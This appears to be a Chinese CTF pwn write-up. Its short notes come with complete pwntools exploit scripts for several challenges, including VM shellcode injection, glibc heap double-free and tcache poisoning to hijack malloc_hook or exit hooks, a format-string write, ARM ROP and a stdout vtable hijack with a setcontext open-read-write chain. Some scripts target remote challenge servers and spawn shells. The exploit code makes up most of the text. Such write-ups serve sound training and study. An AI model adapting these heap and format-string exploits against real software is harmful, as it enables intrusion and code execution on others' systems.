login

vmpwn+shellcode,拿到root权限后直接发送即可

shellcode来源https://hama.hatenadiary.jp/entry/2017/04/04/190129,将rax修改为rdx(本题call shellcode的寄存器为rdx)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#p = process("./login")
p=remote('59.110.105.63',41076)
def run_vm(code):
p.recvuntil(">>> ")
p.send(code)

#code =
code = b"msg:"+b'ro0ta\n'+b"opt:"+b'1\n\n'
run_vm(code)
code = b"msg:"+b'RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAa\n'+b"opt:"+b'2\n\n'
#gdb.attach(p,'b *$rebase(0xEC9)')
run_vm(code)
p.interactive()

newest_note

2.34版本的堆题,没有free_hook和malloc_hoook,故利用类似orw的方式,打栈的ret返回地址。

mmap申请极大的堆到libc段之上(malloc的是低位,而pagesnum是整个高位),show没有检查边界,可以通过show来泄露libc

存在UAF,故可以使用double free,没有edit,故考虑fastbin double free,实现任意地址写

利用environ指针泄露出栈地址,然后申请到栈上写返回地址ROP即可(onegadget没打通)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
p = process("newest_note")
#context.log_level = 'debug'
p.recvuntil("How many pages your notebook will be? :")
p.send(str(0x40010000).rjust(19,'0'))
def add(idx,data):
p.recvuntil("4. Exit")
p.send("1".rjust(19,'0'))
p.recvuntil("Index: ")
p.send(str(idx).rjust(19,'0'))
p.recvuntil("Content: ")
p.send(data)
def free(idx):
p.recvuntil("4. Exit")
p.send("2".rjust(19,'0'))
p.recvuntil("Index: ")
p.send(str(idx).rjust(19,'0'))
def show(idx):
p.recvuntil("4. Exit")
p.send("3".rjust(19,'0'))
p.recvuntil("Index: ")
p.send(str(idx).rjust(19,'0'))
show(0x537F5)#env
p.recvuntil("Content: ")
stack = u64(p.recv(6)+b'\x00\x00')-0x158
print(hex(stack))
show(0x537F5-0xc)#stdin
p.recvuntil("Content: ")
libc_base = u64(p.recv(6)+b'\x00\x00') - 0x218a80
print(hex(libc_base))

for i in range(10):
add(i,'aa')
for i in range(7):
free(6-i)
show(6)
p.recvuntil("Content: ")
heap = u64(p.recv(5)+b'\x00\x00\x00')*0x1000
print(hex(heap))

free(7)
free(8)
free(7)
for i in range(7):
add(i,'aa')
add(7,p64(int(heap/0x1000) ^ stack))
add(8,'aa')
add(10,'aa')
gdb.attach(p,'b *$rebase(0x14A4)')
one = [0xeeccc,0xeeccf,0xeecd2]
pop_rdi = libc_base + 0x000000000002e6c5
execvp = libc_base + 0xEE844
bin_sh = libc_base + 0x1DBCBA
add(0,p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(execvp))
p.interactive()

另一种解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
堆菜单存在exit,故考虑打exit劫持流程。

申请大堆块来利用show的越界泄露libc基地址,利用UAF来泄露堆地址,利用doublefree申请到exit_hook附近,此exithook为动调exit时找到的一个可以的call的函数地址,将其修改为onegadget即可,tcache申请有检查对齐,故从exit_hook-0x8开始写即可通过检查。

```python
from pwn import *
p = process("newest_note")
context.log_level = 'debug'
p.recvuntil("How many pages your notebook will be? :")
p.sendline(str(0x40010000))

def add(idx,Content):
p.sendlineafter(': ','1')
p.sendlineafter('Index: ',str(idx))
p.sendafter('Content: ',Content)
def free(idx):
p.sendlineafter(': ','2')
p.sendlineafter('Index: ',str(idx))
def show(idx):
p.sendlineafter(': ','3')
p.sendlineafter('Index: ',str(idx))
def pwn():
#leak libc (stdin)
show(0x537F5-0xc)
p.recvuntil("Content: ")
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x218a80
exit_hook=libc_base+0x21a6c0 #exit_hook->onegadget

for i in range(10):
add(i,'wow')
for i in range(7):
free(6-i)
show(6)
p.recvuntil("Content: ")
heap_base = u64(p.recv(5).ljust(8,b'\x00'))<<12

free(7)
free(8)
free(7)
for i in range(7):
add(i,'wow')
add(7,p64(int(heap_base>>12) ^ exit_hook))
add(8,'wow')
add(10,'wow')

#gdb.attach(p,'b *$rebase(0x14A4)')

'''
0xeeccc execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xeeccf execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xeecd2 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

'''


#gdb.attach(p)
add(0,p64(0xeeccc+libc_base)+p64(0xeeccc+libc_base))
print(hex(heap_base))
print(hex(libc_base))
p.recvuntil("4. Exit")
p.sendline("4")

p.interactive()

if __name__=="__main__":
pwn()
```

#

chats_store

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
'''
from pwn import *
p=prcess('./chats_store')
libc=ELF('./libc-2.23.so')
context.log_level='debug'
p.interactive()
'''

from pwn import *

global p

libc=ELF('./libc-2.23.so')
elf=ELF('./chats_store')
context.log_level='debug'

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
def add(idx,size,content):
p.sendlineafter('> ','1')
p.sendlineafter('No. > ',str(idx))
p.sendlineafter('size> ',str(size))
p.sendafter('chats> ',content)
def free(idx):
p.sendlineafter('> ','2')
p.sendlineafter('No. > ',str(idx))
#0x7fcec24d05dd sdtout-0x43
def pwn():
add(0,0x68,b'aaaa')
add(1,0x68,b'aaaa')
add(3,0x68,b'aaaa')
add(4,0x68,b'aaaa')
add(5,0x68,b'aaaa')
add(6,0x68,b'aaaa')
add(7,0x68,b'aaaa')
add(8,0x68,b'aaaa')
add(9,0x68,b'aaaa')
add(10,0x68,b'aaaa')
add(11,0x28,b'aaaa')
add(12,0x68,b'aaaa')
add(13,0x68,b'aaaa')
add(14,0x68,b'aaaa')
#####
free(0)
add(0,0x68,b'\x00'*0x68+b'\xe1')
free(1)
add(1,0x68,b'\xdd\x65')
free(4)
free(5)
free(4)
add(4,0x68,b'\x70\xb0')
#gdb.attach(p)
add(5,0x68,b'aaaa')
add(5,0x68,b'aaaa')#unsorted
add(6,0x68,b'aaaa')
payload=b'\x00'*0x33
payload+=p64(0xfadb1887)+p64(0)*3+b'\x88'
add(6,0x68,payload)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c48e0
free_hook=libc_base+libc.sym['__free_hook']
malloc_hook=libc_base+libc.sym['__malloc_hook']
system=libc_base+libc.sym['system']
realloc=libc_base+libc.sym['realloc']
success(hex(libc_base))
usbattack=free_hook-0x10
#add(15,0)
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
onegadget=libc_base+0x4527a
#push -8
free(7)
free(8)
free(7)
add(7,0x68,p64(malloc_hook-0x23))
add(8,0x68,b'/bin/sh\x00')
add(9,0x68,b'/bin/sh\x00')
payload=b'\x00'*(11)+p64(onegadget)+p64(realloc+0xd)+b'/bin/sh\x00'
add(10,0x68,payload)
p.sendlineafter('> ','1')
p.sendlineafter('No. > ',str(11))
p.sendlineafter('size> ',str(0x68))
p.interactive()
if __name__ == "__main__":
while True:
#p=process('./chats_store')
p=remote('43.138.52.3',53000)
try:
pwn()
except:
p.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import * 
from time import sleep
context.arch='amd64'
context.log_level='debug'
io=process('./pwn')
#io=remote('127.0.0.1',9999)
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
def printf_chk(content):
io.recvuntil('2.printf\n')
io.sendline('1')
io.recvuntil('behind\n')
io.sendline(content)
def printf(content):
io.sendline('2')
io.sendline(content)
printf_chk('%a%a')
io.recvuntil('10220x0.0')
stdin_addr=b'0x'+io.recv(10)+b'00'
io.recv()
stdin_addr=int(stdin_addr,16)
log.success('stdin_addr => {}'.format(hex(stdin_addr)))
libc_base=stdin_addr-0x3eba00
log.success('libc_base =>{}'.format(hex(libc_base)))
onegadget = libc_base+0x4f322
malloc_hook=libc_base+libc.symbols['__malloc_hook']
free_hook=libc_base+libc.symbols['__free_hook']
log.success('onegadget => {}'.format(hex(onegadget)))
log.success('malloc_hook => {}'.format(hex(malloc_hook)))
write_size=0
offset=18
payload=b''
for i in range(6):
num=(onegadget>>(8*i))&0xff
print("num:"+str(num))
print("hex:"+hex(num))
if num>write_size&0xff:
payload+=('%{}c%{}$hhn'.format(num-(write_size&0xff),offset+i)).encode()
write_size+=num-(write_size&0xff)
else:
payload+=('%{}c%{}$hhn'.format((0x100-(write_size&0xff))+num,offset+i)).encode()
write_size+=(0x100-(write_size&0xff))+num
payload+=b'%99999c'
print("write:"+str((write_size)))
print("write hex:"+hex(write_size))
payload=payload.ljust(0x50,b'a')
for i in range(6):
payload+=p64(malloc_hook+i)
sleep(0.5)
io.sendline('2')
#gdb.attach(io)
sleep(0.5)
io.send(payload)
sleep(0.5)
io.sendline('exec 1>&2')
io.interactive()

xiaoming

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from ctypes import *
context.log_level='debug'
context.arch='amd64'
local=1
debug=0
if local:
if debug:
sh=process(['qemu-arm','-g','1234','-L','/usr/arm-linux-gnueabihf/','./xiaoming'])
else:
sh=process(['qemu-arm','-L','/usr/arm-linux-gnueabihf/','./xiaoming'])
else:
sh=remote("101.33.221.104",10000)

sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
libc=ELF('./libc.so.6')
def debug():
gdb.attach(sh)
pause()
#0x79
#0xe
# pause()
libc_base=0xff6bb000
#libc_base=0xff6c8000
# libc_base=0xff6d0000
# libc_base=0xff6b6000
# gadget=0x00056b7c+libc_base
gadget=0x00010984
# 0x00010984 : pop {r1, r2, r4, r5, r6, r7, r8, ip, lr, pc}
# 0x00056b7c : pop {r0, r4, pc}
# 0x0002e738 : pop {r0, r1, r2, ip, sp, pc}
binsh=libc_base+0xCA574
system=0x10558
execve=libc_base+0x70160

puts_got=0x2101C
read=0x10510
binsh=0x10AB0
backdoor=0x000108A4
sla("len> ","224")
payload="\x00"*0x54
payload+=p32(0x22000)*2
payload+=p32(backdoor+1)

payload+=p32(binsh)+p32(0x108ad)

sa("plain> ",payload)
print hex(0x2b^0x52)
print hex(0x9^0x7)
ti()

weirdheap

参考了wp,非常规orw

劫持stdout的vtable为helper_jump,劫持overflow为gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import * 
context.arch='amd64'
context.log_level='debug'
p=process('./weirdheap')
#io=remote('127.0.0.1',9999)
elf=ELF('./weirdheap')
libc=ELF('./libc.so.6')

def add(idx,size,content):
p.sendlineafter('Ur choice: ','1')
p.sendlineafter('Which: ',str(idx))
p.sendlineafter('Size: ',str(size))
p.sendlineafter('Stuff: ',content)
def edit(idx,content): #only one
p.sendlineafter('Ur choice: ','3')
p.sendlineafter('Which: ',str(idx))
p.sendlineafter('Stuff: ',content)
def free(idx):
p.sendlineafter('Ur choice: ','4')
p.sendlineafter('Which: ',str(idx))
def show(idx):
p.sendlineafter('Ur choice: ','2')
p.sendlineafter('Which: ',str(idx))

def exit(idx,content):
p.sendlineafter('Ur choice: ','299')
p.sendlineafter('Which: ',str(idx))
p.sendlineafter('Stuff: ',content)

for i in range(13):
add(i,0x200,b'aaaaaaaa')

edit(-8,p64(0xfbad1800)+p64(0)*3+b'\x00')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1e1744
_IO_helper_jumps=libc_base+0x1e1960
setcontext=libc_base+libc.sym['setcontext']+61
ret=libc_base+0x0000000000026699
pop_rdi_ret=0x0000000000028a55+libc_base
pop_rax_ret=0x0000000000044c70+libc_base
pop_rsi_ret=0x000000000002a4cf+libc_base
pop_rdx_ret=0x00000000000c7f32+libc_base
syscall_ret=0x000000000006105a+libc_base
gadget=0x000000000014d09a+libc_base
pop_rcx_rbx_ret=0x00000000000fc104+libc_base
ret=0x52acf+libc_base
'''
rdx=IO_helper_jumps

asm
0x7ffff7f1309a <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
0x7ffff7f1309e <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
0x7ffff7f130a2 <svcudp_reply+34>: lea r13,[rbp+0x10]
0x7ffff7f130a6 <svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
0x7ffff7f130ad <svcudp_reply+45>: mov rdi,r13
0x7ffff7f130b0 <svcudp_reply+48>: call QWORD PTR [rax+0x28]
'''
flag_addr=0x290+libc_base+libc.sym['_IO_2_1_stdout_']
orw_addr=0x100+libc_base+libc.sym['_IO_2_1_stdout_']-0x10-0x10
orw=b''
orw+=p64(pop_rdi_ret)+p64(0xffffff9c)
orw+=p64(pop_rsi_ret)+p64(flag_addr)
orw+=p64(pop_rax_ret)+p64(0x101)
orw+=p64(pop_rdx_ret)+p64(0)
orw+=p64(syscall_ret)
orw+=p64(pop_rdi_ret)+p64(2)
orw+=p64(pop_rsi_ret)+p64(_IO_helper_jumps-0x98)
orw+=p64(pop_rdx_ret)+p64(1)
orw+=p64(pop_rcx_rbx_ret)+p64(0)*2
orw+=p64(pop_rax_ret)+p64(0x127)
orw+=p64(syscall_ret)
orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(pop_rsi_ret)+p64(_IO_helper_jumps-0x98)
orw+=p64(pop_rdx_ret)+p64(1)
orw+=p64(pop_rax_ret)+p64(0x14)
orw+=p64(syscall_ret)
'''
0x000000000014a0a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
'''
gadget2=0x000000000014a0a0+libc_base
success(hex(libc_base))
success(hex(gadget2))
success(hex(setcontext))
#rdi=libc_base+libc.sym['_IO_2_1_stdout_']
payload=p64(0)
payload+=p64(libc_base+libc.sym['_IO_2_1_stdout_']+0x1e0) #rdx
payload=payload.ljust(0x88,b'\x00')+p64(libc_base+0x1e3670)#lock
payload=payload.ljust(0xa0,b'\x00')
payload+=p64(free_hook) #_IO_wide_data_1
payload=payload.ljust(0xd8,b'\x00')
payload+=p64(_IO_helper_jumps)#vtable
#payload+=p64(0)+p64(0) # stderr stdout
payload+=orw
payload=payload.ljust(0x1e0,b'\x00')
payload+=p64(0)*4+p64(setcontext) #call qword ptr [rdx + 0x20]
payload+=p64(free_hook)+p64(0x50) #struct iovec {buf,len}
payload=payload.ljust(0x1e0+0xa0,b'\x00')
payload+=p64(orw_addr)+p64(ret)# rsp rip
payload+=b'flag\x00'
payload=payload.ljust(0x2a0,b'\x00')
payload+=p64(0)*2+p64(libc_base+0x83680)+p64(gadget2)# helper->overflow
gdb.attach(p)
exit(-8,payload)
p.interactive()